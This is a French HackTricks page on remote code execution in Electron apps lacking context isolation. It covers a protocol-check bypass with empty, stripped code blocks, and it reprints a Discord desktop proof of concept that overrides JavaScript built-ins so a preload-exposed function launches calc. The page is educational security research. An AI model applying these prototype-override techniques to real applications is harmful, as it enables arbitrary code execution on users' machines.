# Electron contextIsolation RCE via preload code
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Exemple 1 Exemple de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30) Ce code ouvre des liens http(s) avec le navigateur par défaut : ![](<../../../.gitbook/assets/image (375) (1) (1).png>) Quelque chose comme `file:///C:/Windows/systemd32/calc.exe` pourrait être utilisé pour exécuter une calculatrice, mais `SAFE_PROTOCOLS.indexOf` l'en empêche. Par conséquent, un attaquant pourrait injecter ce code JS via la XSS ou la navigation de page arbitraire : ```html ``` Comme l'appel à `SAFE_PROTOCOLS.indexOf` renverra toujours 1337, l'attaquant peut contourner la protection et exécuter la calculatrice. Exploit final: ```html CLICK ``` Vérifiez les diapositives originales pour d'autres façons d'exécuter des programmes sans avoir une invite demandant des autorisations. Apparemment, une autre façon de charger et d'exécuter du code est d'accéder à quelque chose comme `file://127.0.0.1/electron/rce.jar`. ## Exemple 2: RCE de l'application Discord Exemple de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) En vérifiant les scripts de préchargement, j'ai découvert que Discord expose la fonction, qui permet à certains modules autorisés d'être appelés via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, dans la page web.\ Ici, je n'ai pas pu utiliser des modules qui peuvent être utilisés pour RCE directement, tels que le module _child\_process_, mais j'ai **trouvé un code où RCE peut être réalisé en remplaçant les méthodes intégrées JavaScript** et en interférant avec l'exécution du module exposé. Voici le PoC. J'ai pu confirmer que l'application **calc** est **affichée** lorsque j'appelle la fonction `getGPUDriverVersions`, qui est définie dans le module appelé "_discord\_utils_" depuis devTools, tout en **remplaçant `RegExp.prototype.test` et `Array.prototype.join`**. ```javascript RegExp.prototype.test=function(){ return false; } Array.prototype.join=function(){ return "calc"; } DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); ``` La fonction `getGPUDriverVersions` tente d'exécuter le programme en utilisant la bibliothèque "_execa_", comme suit : ```javascript module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { return {}; } const result = {}; const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; try { result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) { result.nvidia = {error: e.toString()}; } return result; }; ``` En général, _execa_ essaie d'exécuter "_nvidia-smi.exe_", qui est spécifié dans la variable `nvidiaSmiPath`, cependant, en raison de la substitution de `RegExp.prototype.test` et `Array.prototype.join`, **l'argument est remplacé par "**_**calc**_**" dans le traitement interne de \_execa**\_**. Plus précisément, l'argument est remplacé en modifiant les deux parties suivantes. [https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) [https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.